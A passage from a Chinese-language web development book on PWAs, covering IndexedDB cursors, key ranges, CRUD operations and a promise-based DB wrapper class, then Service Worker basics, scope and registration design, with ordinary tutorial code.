方法。db.transaction() 方法有两个参数： objectStores：事务打算对哪些 objectStore 进行操作，因此是一个数组 mode：对进行操作的 objectStore 的模式，即读写权限控制，readonly | readwrite 而通过 transaction.objectStore() 方法可以获取想要操作的 objectStore ，但是它的参数必须存在于 db.transaction() 方法指定的 objectStores 参数数组中，毕竟这个事务已经规定了要对哪些 objectStore 进行操作。 因为 objectStore 是在事务中获取，因此一个 objectStore 实例，如果有一个 transaction 属性的话，那么可以通过这个属性找出它的事务的实例。在 IndexedDB 中，只能在事务中得到一个 objectStore 实例，如果通过 db 的话，最多只能得到 objectStore 的名字列表，如果要获得 objectStore 的实例，必须在 transaction 中。 操作请求 Request 是在事务过程中，发起某项操作的请求。一个事务过程中，可以有多个 Request，Request 一定存在于事务中，因此它肯定会有一个 transaction 属性来获取它所属于的那个事务的容器。我们可以把 transaction 当做一个队列，在这个队列中，Request 进行排队，每一个 Request 都只包含一个操作，比如添加，修改，删除数据之类的。这些操作不能马上进行，比如修改操作，如果马上进行，就会导致大家同时修改怎么办的问题，把多个修改操作放在 Request 中，这些 Request 在 transaction 中排队，一个一个处理，这样就会有执行的顺序，修改就有前后之分。同时，transaction 都可以被中断，这样当一系列的操作被放弃之后，后续的操作也不会进行。 而且有意思的是，Request 是异步的，它是有状态的。一个 Request 处于什么状态，可以通过 readyStates 属性查到，这对开发者而言也更可控。目前，在 IndexedDB 中，有四种情形产生 Request：open database，objectStore request, cursor request, index request。 游标 所谓游标，简单的理解，就是“一个用来记录数组正在被操作的某个下标位置的变量”，举个例子：对数组 [1, 2, 3, 4] 进行遍历，可以使用 forEach() 方法，那么 forEach() 方法怎么知道上次操作到第几个元素，又怎么知道现在应该操作第几个元素呢？就是通过游标来判断。 游标是一个机制，无法把游标打印出来看，可以通过游标得到你当前操作的元素，换句话说，游标有着类似 next() 的方法，可以用来移动游标到下一个位置。 当数据量巨大的时候，想要获取一个 objectStore 中的全部 object 可不是一件简单的事。IndexedDB 没有直接提供类似的方法来获取。但是可以利用游标来解决，如下代码所示： let request = window.indexedDB.open('mydb', 10) request.onsuccess = e => { let db = e.target.result let transaction = db.transaction( ['myObjectStore'], 'readonly' ) let objectStore = transaction.objectStore('myObjectStore') // 打开一个游标 let cursorRequest = objectStore.openCursor() let results = [] cursorRequest.onsuccess = e => { let cursor = e.target.result if (cursor) { results.push(cursor.value) cursor.continue() } else { // 遍历之后的 object 数据列表的结果 console.log(results) } } } 通过 objectStore.openCursor() 方法打开游标机制，该方法返回一个 Request 对象，在这个 Request 对象的 onsuccess 回调中，如果 cursor 没有遍历完所有 object，那么通过执行 cursor.continue() 来让游标滑动到下一个 object，onsucess 回调会被再次触发。而如果所有的 object 都遍历完了，cursor 变量会是 undefined。 注意上面的 results 变量，它的声明必须放在 onsuccess 回调函数的外部，因为该回调函数会在遍历过程中反复执行。 在 Firefox 浏览器中自主实现了一个 getAll() 方法可以获取 objectStore 中所有的 object，但是它不是标准的 IndexedDB 的接口，因此不推荐使用，而本例的操作方法，通常是获取全部 object 的标准做法。由此可以总结出游标就是对已知的集合对象（比如 objectStore 或 indexView）进行遍历，在 onsuccess 回调中使用 cursor.continue() 来进行控制。 主键范围 可以使用 IDBKeyRange 对象定义索引的范围。此对象有四种方法用于定义范围的限制：upperBound()、lowerBound()、bound() 和 only()。upperBound() 和 lowerBound() 方法指定了范围的上限和下限。可以通过 IDBKeyRange.lowerBound(indexKey) 方法指定索引的下边界，也可以使用 IDBKeyRange.upperBound(indexKey) 方法指定索引的上边界。当然还可以使用 bound() 方法同时指定上下边界：IDBKeyRange.bound(lowerIndexKey, upperIndexKey)。 接下来看一个代码示例：在 myObjectStore 对象库中的 price 属性上创建了一个索引，并添加了一个带有两个输入的小型表格，用于为游标设置范围的上限和下限。代码如下所示： function searchItems(lower, upper) { if (lower === '' && upper === '') { return } // 设置 let range if (lower !== '' && upper !== '') { range = IDBKeyRange.bound(lower, upper) } else if (lower === '') { range = IDBKeyRange.upperBound(upper) } else { range = IDBKeyRange.lowerBound(lower) } let request = window.indexedDB.open('mydb', 11) request.onsuccess = e => { let db = e.target.result let transaction = db.transaction( ['myObjectStore'], 'readonly' ) let store = transaction.objectStore('myObjectStore') let index = store.index('price') // 索引打开带有主键集合的游标 let cursorRequest = index.openCursor(range) let results = [] cursorRequest.onsuccess = e => { let cursor = e.target.result if (cursor) { console.log('游标位置在: ', cursor.key) results.push(cursor.value) cursor.continue() } else { // 遍历之后的 object 数据列表的结果 console.log(results) } } } } IndexedDB 的增删改查 和任何数据库一样，IndexedDB 也是进行数据存储，并提供一些方式让开发者可以对数据进行查询、添加、删除、修改。当一个事务开始之后，在它的生命周期以内，可以对 objectStore 进行数据操作，下面会通过一些简单的示例对 IndexedDB 的增删改查操作进行介绍。 获取数据 前面介绍过如何获取事务中的 objectStore，现在就用获取到的 objectStore 进行数据操作，如下代码所示。 let request = window.indexedDB.open('mydb', 6) request.onsuccess = e => { let db = e.target.result let transaction = db.transaction( ['myObjectStore'], 'readonly' ) let objectStore = transaction.objectStore('myObjectStore') let objectRequest = objectStore.get('100001') objectRequest.onsuccess = e => { // 获取到的数据 let object = e.target.result } } 在 IndexedDB 事务机制下进行操作是很麻烦的，上面代码中使用了 objectStore.get() 方法获取主键值为 100001 的 object，但是获取过程是一个 Request 对象，只有在其 onsuccess 事件中才能得到获取到的结果。 添加数据 let request = window.indexedDB.open('mydb', 7) request.onupgradeneeded = e => { let db = e.target.result let transaction = db.transaction( ['myObjectStore'], 'readwrite' ) let objectStore = transaction.objectStore('myObjectStore') // 写入一条数据 objectStore.add({ id: '100002', name: 'Zhang Fei', }) } 添加数据使用 objectStore.add() 方法，传入一个 object。但是这个 object 有限制，它的主键值，也就是 id 值，不能是已存在的，如果 objectStore 中已经有了这个 id，那么会报错。因此，在某些程序中为了避免这种情况的发生，通常会使用 objectStore.put() 方法。 更新数据 let request = window.indexedDB.open('mydb', 8) request.onupgradeneeded = e => { let db = e.target.result let transaction = db.transaction( ['myObjectStore'], 'readwrite' ) let objectStore = transaction.objectStore('myObjectStore') // 更新一条数据 objectStore.put({ id: '100002', name: 'Zhang San', }) } objectStore.put() 方法和 objectStore.add() 方法有两大区别。 如果 objectStore 中已经有了该id，则表示更新这个object，如果没有，则添加这个 object。 在另一种情况下，也就是设置了 autoIncrement 为 true 的时候，也就是主键自增的时候，objectStore.put() 方法必须传第二个参数，第二个参数是主键的值，以此来确定你要更新的是哪一个主键对应的 object，如果不传的话，可能会直接增加一个 object 到数据库中。从这一点上讲，自增字段确实比较难把握，因此我建议开发者严格自己在传入时保证 object 中存在主键值。 删除数据 let request = window.indexedDB.open('mydb', 9) request.onupgradeneeded = e => { let db = e.target.result let transaction = db.transaction( ['myObjectStore'], 'readwrite' ) let objectStore = transaction.objectStore('myObjectStore') // 删除一条数据 objectStore.delete('100001') } objectStore.delete() 方法将传入的主键值对应的 object 从数据库中删除。 利用 IndexedDB 实现 DB 类 接下来利用 IndexedDB 实现一个 DB 类，将 IndexedDB 的数据存储模式简化为键值对的形式，并实现一些常用的 setItem/getItem/getAllItems/removeItem 等方法。这样我们就可以通过 DB 类的实例，以类似 localStorage 的 API 去使用 IndexedDB 了。 构造函数 在初始化时，需要传入 dbName、version、storeName 三个参数，分别对应数据库名、数据库版本号、对象仓库名： class DB { constructor ({ dbName = 'db', version = 1, storeName }) { this.dbName = dbName this.storeName = storeName this.version = version } // ... } 其中 dbName 和 version 我们设置了默认值，因此在实例化 DB 类的时候，只需要传入 storeName 即可： const db = new DB({storeName: 'test'}) 获取数据库实例 接下来封装 getDB() 方法来获得数据库实例，并且在数据库初始化时创建对象仓库，由于在这里我们使用键值对的存储形式，因此规定存储对象结构为：{key, value} ，其中 key 存放数据的键名，value 存放值。同时由于 IndexedDB 采用回调函数的异步机制，我们可以通过实现简单的 promisify 方法将回调修改成 Promise 的异步形式。具体实现如下所示： class DB { // ... async getDB () { // 优先返回缓存的数据库实例 if (this.db) { return this.db } // 打开数据库 let request = indexedDB.open(this.dbName, this.version) // 当数据库初始化或升级时创建仓库 request.onupgradeneeded = event => { let db = event.target.result // 当仓库不存在时创建仓库，同时规定 key 为索引 if (!db.objectStoreNames.contains(this.storeName)) { db.createObjectStore(this.storeName, {keyPath: 'key'}) } } let event = await promisify(request) this.db = event.target.result return this.db } } 其中 promisify() 方法实现如下： function promisify (request) { return new Promise((resolve, reject) => { request.onsuccess = resolve request.onerror = reject }) } 这样我们就可以通过 getDB() 方法初始化好仓库，并最终获得数据库实例，接下来就可以实现其他操作数据库的方法了。 写入数据 setItem() setItem() 用于将数据写入 indexedDB，它接收两个参数分别为 key 和 value，其中 key 要求为字符串类型，value 为 IndexedDB 允许存储的类型即可。 class DB { // ... async setItem (key, value) { // 获取数据库 let db = await this.getDB() // 创建事务，指定使用到的仓库名以及读写权限 let transaction = db.transaction([this.storeName], 'readwrite') // 获取仓库实例 let objectStore = transaction.objectStore(this.storeName) // 将 key 和 value 包装成对象 {key, value} 并存入仓库 let request = objectStore.put({key, value}) // 异步执行结果通过 Promise 返回 return promisify(request) } } 通过 setItem() 方法，我们就可以方便地写入数据了： // 存入数字 db.setItem('number', 1) .then(() => {console.log('写入成功！')}) // 存入 Plain Object db.setItem('/path/to/data', {status: 0, data: 'Hello World'}) .then(() => {console.log('写入成功！')}) 读取数据 getItem() 与 getAll() getItem() getItem() 用于获取数据，它接收参数 key，作为查找资源的标识： class DB { // ... async getItem (key) { // 获取数据库实例 let db = await this.getDB() // 创建事务，并指定好仓库名以及操作的只读权限 let transaction = db.transaction([this.storeName], 'readonly') // 获取仓库实例 let objectStore = transaction.objectStore(this.storeName) // 查找对应的数据并通过 Promise 对象包装后返回 let request = objectStore.get(key) let event = await promisify(request) return event.target.result && event.target.result.value } } 使用 getItem() 读取数据的方法也非常简单： db.getItem('number') // 打印 1 .then(value => console.log(value)) db.getItem('/path/to/data') // 打印 {status: 0, data: 'Hello World'} .then(value => console.log(value)) getAll() getAll() 用于获取数据库的全部数据，返回的结果为 Promise 包装的 Map 对象： class DB { // ... async getAll () { // 获取数据库实例 let db = await this.getDB() // 创建事务，并指定好仓库名以及操作的只读权限 let transaction = db.transaction([this.storeName], 'readonly') // 获取仓库实例 let objectStore = transaction.objectStore(this.storeName) // 读取仓库全部数据 let request = objectStore.getAll() let event = await promisify(request) let result = event.target.result // 当数据为空时，返回空 if (!result || !result.length) { return } // 数据不为空时，将数据包装成 Map 对象并返回 let map = new Map() for (let {key, value} of result) { map.set(key, value) } return map } } 这样通过 getAll() 方法就可以异步获取仓库中存储的全部数据了： db.getAll() // 打印 Map(2) { // 'number' => 1, // '/path/to/data': {status: 0, data: 'Hello World'} // } .then(map => console.log(map)) 删除数据 removeItem() removeItem() 用于删除数据，通过参数 key 进行数据匹配并删除： class DB { // ... async removeItem (key) { // 获取数据库实例 let db = await this.getDB() // 创建事务，并指定好仓库名以及删除操作的读写权限 let transaction = db.transaction([this.storeName], 'readwrite') let objectStore = transaction.objectStore(this.storeName) // 删除数据，并用 Promise 进行包裹 let request = objectStore.delete(key) return promisify(request) } } 这样删除数据操作可以简化为如下形式： db.removeItem('number') // 数据删除成功时 Promise 对象执行 resolve .then(() => console.log('删除成功')) Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter04.html\":{\"url\":\"chapter04.html\",\"title\":\"第4章 Service Worker\",\"keywords\":\"\",\"body\":\"Service Worker Service Worker 是 PWA 技术基础之一，脱离浏览器主线程的特性，使得 Web App 离线缓存成为可能，更为后台同步、通知推送等功能提供了思路。Service Worker 和缓存之间的关系，可以理解为 Service Worker 是一种调度机制，类似于铁路调度系统，而缓存则类似于具体的火车，可以是绿皮车、动车、高铁等，所有的车都是基于这一套铁路调度系统在工作的，使用 Service Worker 可以在不同场景下更加精细化控制缓存。 本章中会深入 Service Worker 的技术细节，介绍 Service Worker 注册方法、生命周期以及更新机制等内容，并学习如何调试 Service Worker。掌握这些基本的知识，可以让我们更容易理解 PWA 离线缓存机制的实现原理。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter04/1-service-worker-introduction.html\":{\"url\":\"chapter04/1-service-worker-introduction.html\",\"title\":\"4.1 Service Worker 简介\",\"keywords\":\"\",\"body\":\"Service Worker 简介 丢失网络连接是一个困扰 Web 用户多年的难题，即使是世界上最好的 Web App，如果因为网络原因访问不了它，那体验也是非常糟糕的。本小节要介绍的 Service Worker 能提供一种良好的统筹机制对资源缓存和网络请求进行缓存和处理，是 PWA 实现离线可访问、稳定访问、静态资源缓存的一项重要技术。 通常所讲的 Service Worker 指的是 Service Worker 线程。了解浏览器工作原理的开发者都知道浏览器中执行的 JavaScript 文件是运行在一个单一线程上，称之为 主线程。而 Service Worker 是一种独立于浏览器主线程的 工作线程，与当前的浏览器主线程是完全隔离的，并有自己独立的执行上下文（context）。 首先借一个简单的例子来了解一下什么是 Service Worker，假如现在有一个最简单的前端项目 serviceWorkerDemo ，目录结构如下： . └── serviceWorkerDemo ├── index.html └── sw.js index.html 文件的内容如下： Service Worker Demo navigator.serviceWorker.register('./sw.js') HTML5 提供的一个 Service Worker API，能够进行 Service Worker 线程的注册、注销等工作，在该示例中，通过 navigator.serviceWorker.register() 方法就能够注册一个 Service Worker，在当前的浏览器主线程的基础上新起一个 Service Worker 线程。 在示例项目的目录中还有一个 sw.js，有时候开发者会将这个 JavasScript 脚本文件称之为 Service Worker，这种说法不是很严谨，通常将可以被 navigator.serviceWorker.register() 方法注册的 JavaScript 文件称之为 Service Worker 文件，可以是任何命名，在这个示例中命名为 sw.js，其内容就是在 Service Worker 线程上下文中执行的内容（如果文件为空代表 worker 线程什么也不会做），由于 Service Worker 线程是独立于主线程的工作线程，所以在 sw.js 中的任何操作都不会影响到主线程。 接下来，我们来运行一下上面简易的示例，可以借助 local-web-server 工具在示例项目根目录下启动一个本地服务器，帮助我们查看一下 Service Worker 的具体运行状态，如下操作： $ npm install -g local-web-server $ ws 提示： 为了方便介绍，本章所有的 Demo 示例在提到 “运行” 的时候，都指的是在 Demo 项目的根目录通过 ws 命令启动 local-web-server，其默认 host 为 127.0.0.1，默认端口号为 8000。 使用 Chrome 浏览器访问示例站点 http://127.0.0.1:8000 的，可以在开发者模式的 Applications > Service Worker 面板中看到当前 Service Worker 线程的状态，在完成了 Service Worker 注册安装之后，结果如下图所示： 当调节当前的网络状态为「离线」，依然可以看到 Service Worker 还是生效状态，通过这个例子可以发现，Service Worker 不仅是一个独立于主线程的的一个工作线程，并且还是一个可以在离线环境下运行的工作线程，这样就为 PWA 的离线与缓存功能提供了可行性基础。 为什么有 Service Worker 在了解了 Service Worker 是一个工作线程的本质之后，接下来继续了解一下为什么会有 Service Worker 这个技术出现呢？W3C（国际万维网联盟）早在 2014 年 5 月就提出了 Service Worker HTML5 API 草案，用来进行 Web 资源和请求的持久离线缓存。Service Worker 的来历可以从两个方面来介绍。 一方面，浏览器中的 JavaScript 都是运行在一个单一主线程上的，在同一时间内只能做一件事情。随着 Web 业务不断复杂，在 JavaScript 中的代码逻辑中往往会出现很多耗资源、耗时间的复杂运算过程。这些过程导致的性能问题在 Web App 日益增长的复杂化过程中更加凸显出来。所以 W3C 提出了 Web Worker API 来专门解放主线程，Web Worker 是脱离在主线程之外的工作线程，开发者可以将一些复杂的耗时的工作放在 Web Worker 中进行，工作完成后通过 postMessage 告诉主线程工作的结果，而主线程通过 onmessage 得到 Web Worker 的结果反馈，从而释放了主线程的性能压力。 代码执行性能问题好像是解决了，但 Web Worker 是临时存在的，每次做的事情的结果不能被持久存下来，如果下次访问 Web App 同样的复杂工作还是需要被 Web Worker 重新处理一遍，这同样是一件消耗资源的事情，只不过不是在主线程消耗罢了。那能不能有一个 Worker 线程是一直是可以持久存在的，并且随时准备接受主线程的命令呢？基于这样的需求 W3C 推出了最初版本的 Service Worker，Service Worker 在 Web Worker 的基础上加上了持久离线缓存能力，可以通过自身的生命周期特性保证复杂的工作只处理一次，并持久缓存处理结果，直到修改了 Service Worker 的内在的处理逻辑。 而另一方面，为了解决 Web 网络连接不稳定的问题，W3C 在很早的时候提出了 ApplicationCache 机制来解决离线缓存的问题，做法是在 HTML 页面中可以指定一个清单文件 manifest.appcache，清单中指定需要离线缓存的静态资源，ApplicationCache 能够解决离线可访问的问题。假设已经存在一个简单的项目 applicationCacheDemo，项目目录如下： . └── applicationCacheDemo/ ├── index.html └── manifest.appcache 下面是一个简单的 manifest.appcache 配置文件内容： CACHE MANIFEST # version xx.xx.xx CACHE: cached.png cached.js NETWORK: noCached.html noCached.css FALLBACK: / 404.html CACHE 字段配置了需要当前页面离线缓存的静态资源，NETWORK 字段配置了当前页面不需要离线缓存的静态资源，FALLBACK 字段指定了一个后备页面，当资源无法访问时，浏览器会使用该页面。该段落的每条记录都列出两个 URI，第一个表示资源，第二个表示后备页面。两个 URI 都必须使用相对路径并且与清单文件同源。可以使用通配符。有了 manifest.appcache 文件之后，可以在 index.html 的 HTML 文件中的 标签进行引入从而指定当前页面的静态资源离线缓存的情况，如下面代码所示： 虽然通过 ApplicationCache 机制能够解决 Web App 的离线缓存的问题，但是同时也带来了不小的问题： 在 manifest.appcache 文件中定义的资源全部被成功加载后，这些资源文件连同引用 manifest.appcahe 文件的 HTML 文档一并被移动到永久离线缓存中。所以如果想只缓存 JS、CSS、图片等文件，而不希望缓存 HTML 文档以保持获得最新内容的情况来说，是个非常大的问题。 根据 ApplicationCache 的加载机制，如果仅仅修改被缓存资源文件的内容（没有修改资源文件的路径或名称），浏览器将直接从本地离线缓存中获取资源文件。所以在每次修改资源文件的同时，需要修改 manifest.appcache 文件，以触发资源文件的重新加载和缓存，维护成本太高。 靠一个 manifest.appcache 配置文件来维护一个复杂的站点的缓存策略实在是一件非常艰难的工作，毕竟单纯靠配置是非常不灵活的。 对动态请求无法处理。 通过一段时间的实践后，W3C 决定废弃 ApplicationCache，虽然其仍然保留在 HTML 5.0 Recommendation 中，但会在 HTML 后续版本中移除。一些主流浏览器甚至已经将 ApplicationCache 标注为不推荐使用，并引导开发者使用 Service Worker。Service Worker 就很好的解决了 ApplicationCache 的痛点问题，它能够通过非常多的缓存策略来灵活的管理 Web App 的离线缓存，大大降低维护成本（我们会在后面章节详细的讲解这部分的内容）。 基于 Woker 工作线程的离线能力和离线缓存机制的双重迫切需求，通过不断的实践和发展，W3C 最终提出的 Service Worker API 可以以独立工作线程的方式运行，结合持久缓存调度策略，能够很好的解决离线缓存问题。并且可以以非侵入的方式与现存的 Web App 结合使用，从可以实现 PWA 渐进式的离线与缓存的效果。 Service Worker 的特点 Service Worker 功能虽然强大，但是使用 Service Worker 还是有一定的条件以及一些专有的特点的。 出于安全的考虑 Service Worker 必须运行在 HTTPS 协议下，Github 提供的 git page是个用来测试 Service Worker 的好地方，因为它就直接就支持 HTTPS，直接就可以测试静态页面和静态资源，为了便于本地开发，localhost、127.0.0.1 这种非 HTTPS 协议也被浏览器认为是安全源。 Service Worker 线程有自己完全独立的执行上下文。一旦被安装成功就永远存在，除非线程被程序主动解除，而且 Service Worker 在访问页面的时候可以直接被激活，如果关闭浏览器或者浏览器标签的时候会自动睡眠，以减少资源损耗。 Service Worker 是完全异步实现的，内部的接口的异步化都是通过 Promise 实现，并且在 Service Worker 中不能直接操作 DOM，出于安全和体验的考虑，UI 的渲染工作必须只能在主线程完成。 Service Worker 可以拦截并代理请求，可以处理请求的返回内容，可以持久化缓存静态资源达到离线访问的效果，和 ApplicationCache 不同，Service Worker 的所有的离线内容开发者完全可控，甚至是可以控制动态请求，第三方静态资源等。 由于 Service Worker 可以离线并且在后台工作，所以可以进行 推送消息（第六章会详细说明）、后台同步资源等功能，在不久的将来，利用 Service Worker 的这一特性，甚至可以衍生出更多的 Web App 原生化的功能。 浏览器支持程度 由于 W3C 标准或草案的提出之后各大浏览器的实现步伐是不一样的，参考 Can I Use 截止 2019-04-02 的数据，如下图所示当前各大浏览器对 Service Worker 的支持情况如下。 从上图可以看出，Service Worker 的支持程度已经达到 89.84%。其中 Chrome 作为开路先锋早早的在 V40 版本就已经支持 Service Worker，并在 Devtools 中还提供了完善的 Debug 方案，Apple 方面从 MacOS Safari 11.1 和 iOS Safari 11.3 开始全面支持，IE Edge 从 17 版本开始也全面支持。 目前 Apple 和微软都已经支持了 Service Worker，所以对于 “离线可访问” 这样的 PWA 特性来讲，几乎可以在任何的现代浏览器中被实现。 更详细的 Service Worker 浏览器支持信息，可以在 Jake Archibald 的 Is ServiceWorker Ready 网站上查看所有浏览器的支持情况。 由于 Service Worker 的功能是渐进式的，如果浏览器不支持 Service Worker，在架构设计上 Web App 也应该能够正常运行，为了防止 JavaScript 报错，所以通常在注册之前需要进行嗅探处理。修改 serviceWorkerDemo 的 index.html 代码如下所示： Service Worker Demo if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./sw.js') } 小结 本节介绍了 Service Worker 的一些基本概念和 Service Worker 的一些背景和功能，但是对注册的细节，Service Worker 生命周期等细节没有做深入介绍，这些内容对于使用 Service Worker 对 Web App 进行离线缓存处理有重要作用。接下来的章节将会对 Service Worker 的这些细节做更加详细的介绍。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter04/2-service-worker-register.html\":{\"url\":\"chapter04/2-service-worker-register.html\",\"title\":\"4.2 Service Worker 注册\",\"keywords\":\"\",\"body\":\"Service Worker 注册 通过前面对 Service Worker 概念的介绍，我们对 Service Worker 的一些概念和原理有了一定的了解，在本节将会重点介绍 Service Worker 注册的相关内容。主要会介绍如何为 Web App 注册一个 Service Worker、在不同的项目架构下注册 Service Worker 的方法、Service Worker 注册的一些细节和注意点等。 作用域 Service Worker 是有自己的作用域的，Service Worker 作用域是一个 URL path 地址，指的是 Servcie Worker 能够控制的页面的范围，例如：某个 Service Worker 的作用域为 https://somehost/a/b/，那这个 Service Worker 能控制 https://somehost/a/b/ 目录下的所有页面，可以包含下面列出的页面： https://somehost/a/b/index.html https://somehost/a/b/c/index.html https://somehost/a/b/anothor.html ... 所谓的 “控制页面” 指的是 Service Worker 可以处理这些页面里面的资源请求和网络请求，然后通过 Service Worker 自身的调度机制构建离线缓存策略。如果页面不在 Service Worker 的作用域范围内，Service Worker 就无法处理页面的任何资源或请求。 为了加深对 Service Worker 作用域的理解，接下来还是来看下 serviceWorkerDemo 这个示例，在 index.html 中修改一下代码如下所示： Service Worker Demo if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./sw.js') .then(reg => { console.log(reg) }) } 首先从上面代码可以看出 navigator.serviceWorker.register() 方法返回的是一个 Promise，这个 Promise 中 resolve 返回的是 Service Worker 注册成功后返回的 ServiceWorkerRegistration 对象。运行之后将这个对象打印出来的结果如下图所示。 ServiceWorkerRegistration 对象中的 scope 的值就是当前的 Service Worker 的作用域，在这个示例中为 http://127.0.0.1:8000/。 为了更直观的看到 Service Worker 作用域的工作原理，接下来新建一个 serviceWorkerScopeDemo 项目，项目目录结构如下： . └── serviceWorkerScopeDemo ├── a │ └── b │ └── sw.js └── index.html 将 sw.js 放入 /a/b/ 目录下，将 index.html 中的注册 Service Worker 逻辑修改一下，代码如下所示： Service Worker Scope Demo if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./a/b/sw.js') .then(reg => { console.log(reg.scope) // http://127.0.0.1:8000/a/b/ }) } 将 navigator.serviceWorker.register() 方法的 Service Worker 文件 URL 改成 ./a/b/sw.js，运行结果打印出来的 scope 结果为 http://127.0.0.1:8000/a/b/。通常情况下在注册 sw.js 的时候会忽略 Service Worker 作用域的问题，Service Worker 默认的作用域就是注册时候的 path, 例如：Service Worker 注册的 path 为 /a/b/sw.js，则 scope 默认为 /a/b/。 也可以通过在注册时候在 navigator.serviceWorker.register() 方法中传入 {scope: '/some/scope/'} 参数的方式自己指定作用域，如下代码所示： Service Worker Scope Demo if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./a/b/sw.js', { // 手动指定一个作用域 scope: '/a/b/c/' }).then(reg => { console.log(reg.scope) // http://127.0.0.1:8000/a/b/c/ }) } 将 scope 配置 {scope: '/a/b/c/'} 传入 navigator.serviceWorker.register() 方法，运行后打印出来的内容为 http://127.0.0.1:8000/a/b/c/。也就是说可以通过参数为 Service Worker 指定一个作用域。当然，这个自定义作用域是不可以随意指定的，可以通过如下代码修改 index.html： Service Worker Scope Demo if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./a/b/sw.js', { scope: '/a/' }).then(reg => { console.log(reg.scope) }) } 上面代码将作用域指定为 /a/，运行后浏览器会报错，报错的内容如下图所示。 通过报错信息知道 sw.js 文件所在的 URL 的 path 是 /a/b/，则默认的作用域和最大的作用域都是 /a/b/，不允许指定超过最大作用域范围的 /a/ 为作用域。 通俗的讲，Service Worker 最多只能在 Service Worker 文件 URL path 范围内发挥作用，以上面代码为例，/a/b/，/a/b/c/，/a/b/c/d/ 下的页面都可以被注册的 Service Worker 控制。但是 /a/、/e/f/ 目录下面的页面是不受注册的 Service Worker 的控制的（当然浏览器也会抛出错误告知开发者）。也就是说，在最大作用域的基础上才能通过 scope 配置在注册 Service Worker 的时候指定自定义的作用域。 注意： 类似于 Ajax 的跨域请求可以通过对请求的 Access-Control-Allow-Origin 设置，我们也可以通过服务器对 sw.js 这个文件的请求头进行设置，就能够突破作用域的限制，只需要在服务端对 sw.js 请求设置 Service-Worker-Allowed 请求头为更大控制范围或者其他控制范围的 scope 即可。如：Service-Worker-Allowed: /a/。 Service Worker 作用域污染 通过对 Service Woker 作用域的了解会发现一个问题：会不会存在多个 Service Worker 控制一个页面的情况呢？ 接下来再新建 serviceWorkerScopeDemo1 项目来了解注册多个 Service Worker 的情况下会有些什么神奇的情况发生。项目目录如下所示： . └── serviceWorkerScopeDemo1 ├── a/ │ ├── a-sw.js │ └── index.html ├── b/ │ └── index.html └── root-sw.js 如果 /a/index.html 页面是如下方式注册 Service Worker： Service Worker Scope DEMO1 PageA if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./a-sw.js') } 而 /b/index.html 页面是如下方式注册 Service Worker： Service Worker Scope DEMO1 PageB if ('serviceWorker' in navigator) { navigator.serviceWorker.register('../root-sw.js') } http://127.0.0.1:8000/a/index.html 页面（称为 A 页面）在 /a/ 作用域下注册了一个 Service Worker，而 http://127.0.0.1:8000/b/index.html 页面（称为 B 页面）在 / 作用域下注册了一个 Service Worker，这种情况下 B 页面的 Service Worker 就可以控制 A 页面，因为 B 页面的作用域是包含 A 页面的最大作用域的，这个时候这种情况就称之为作用域污染，这时候就会出现如下图所示的情况，A 页面被两个 Service Worker 所控制。 在开发环境开发者在 Chrome 浏览器还可以通过 Devtools 进行手动 “unregister” 来清除掉污染的 Service Worker，但是如果在线上环境被安装了 Service Worker 之后这就是个持久的过程。除非用户手动清除存储的缓存（这个也是不可能的），否则就会出现 Service Worker 交叉控制页面的问题。 当然，线上出现作用域污染的情况也是有办法解决的，比较合理的一种做法是在 A 页面新上线的 /a/index.html 版本中注册 Service Worker 之前借助 navigator.serviceWorker.getRegistrations() 方法将污染的 Service Worker 先注销掉，然后在注册自己的所在作用域的 Service Worker。具体做法还是看下示例，将 serviceWorkerScopeDemo1 项目的 /a/index.html 文件修改后代码如下所示： Service Worker Scope Demo1 PageA if ('serviceWorker' in navigator) { navigator.serviceWorker.getRegistrations() .then(regs => { for (let reg of regs) { // 注销掉不是当前作用域的所有的 Service Worker if (reg.scope !== 'https://127.0.0.1:8000/a/') { reg.unregister() } } // 注销掉污染 Service Worker 之后再重新注册自己作用域的 Service Worker navigator.serviceWorker.register('./a-sw.js') }) } 通过这样的方式，运行 serviceWorkerDemo 项目会发现，A 页面只会有一个被自己注册的 Service Worker 生效，在复杂的项目架构中，Service Worker 的作用域污染问题会经常发生，在设计 Service Worker 注册逻辑的时候，尤其是大型的 Web App 项目的时候需要考虑到这点。 Service Worker 注册设计 由于 Service Worker 注册会有意想不到的作用域污染问题，而 Web App 项目又有多种形式存在，有 SPA（单页面应用），MPA（多页面应用）等架构方式，那到底怎么进行 Service Worker 注册才合适呢？ SPA 注册 Service Worker SPA 在工程架构上只有一个 index.html 的入口，站点的内容都是异步请求数据之后在前端渲染的，应用中的页面切换都是在前端路由控制的。 通常会将这个 index.html 部署到 https://somehost，SPA 的 Service Worker 只需要在 index.html 中注册一次。所以一般会将 sw.js 直接放在站点的根目录保证可访问，也就是说 Service Worker 的作用域通常就是 /，这样 Service Worker 能够控制 index.html，从而控制整个 SPA 的缓存。 SPA 每次路由的切换都是前端渲染的，这个过程本质上还是在 index.html 上的前端交互。通常 Service Worker 会预先缓存 SPA 中的 AppShell 所需的静态资源以及 index.html。当然有一种情况比较特殊，当用户从 https://somehost/a 页面切换到 https://somehost/b 页面的时候，这时候刷新页面首先渲染的还是 index.html，在执行 SPA 的路由逻辑之后，通过 SPA 前端路由的处理，继续在前端渲染相应的路由对应的渲染逻辑，这部分的逻辑都是在已经缓存的 JavaScript 中完成了。 MPA 注册 Service Worker MPA 这种架构的模式在现如今的大型 Web App 非常常见，这种 Web App 相比较于 SPA 能够承受更重的业务体量，并且利于大型 Web App 的后期维护和扩展。MPA 可以理解为是有多个 HTML 文件对应着多个不同的服务端路由，也就是说 https://somehost/a 映射到 a.html，https://somehost/b 映射到 b.html。 那么 